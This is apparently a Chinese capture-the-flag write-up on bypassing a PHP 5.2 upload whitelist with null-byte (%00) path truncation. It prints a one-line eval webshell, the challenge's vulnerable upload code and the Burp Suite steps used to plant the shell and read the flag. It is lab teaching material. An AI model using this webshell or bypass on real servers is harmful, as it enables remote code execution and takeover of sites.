题目描述
了解一下 PHP 5.2 00截断上传的原理。
Solution
我们编写一句话木马,命名为shell.php,上传到服务器,显示文件类型不匹配:
<?php @eval($_POST['banana']);?>

去 Brupsuite 查看 HTTP 历史记录,可以发现这是 POST 方法上传图片的:

我们在页面按右键,选择 View Page Source,可以看到部分后端源码:

if (!empty($_POST['submit'])) {$name = basename($_FILES['file']['name']);$info = pathinfo($name);$ext = $info['extension'];$whitelist = array("jpg", "png", "gif");if (in_array($ext, $whitelist)) {$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {echo "<script>alert('上传成功')</script>";} else {echo "<script>alert('上传失败')</script>";}} else {echo "文件类型不匹配";}}
这里我们发现,后端是通过pathinfo()来获取路径,判断路径扩展名在不在白名单来进入分支。进入分支后,对文件名用随机数进行重命名。
我们来看知识点:

我们把一句话木马文件名修改成webshell.php.jpg,然后用 Burpsuite 拦截请求包,转发到 Repeater:

在 POST 上传路径那儿改成webshell.php%00,用以截断后缀.php.jpg后面的.jpg。
我们用哥斯拉连接 WebShell,在/var/www/html找到 Flag :

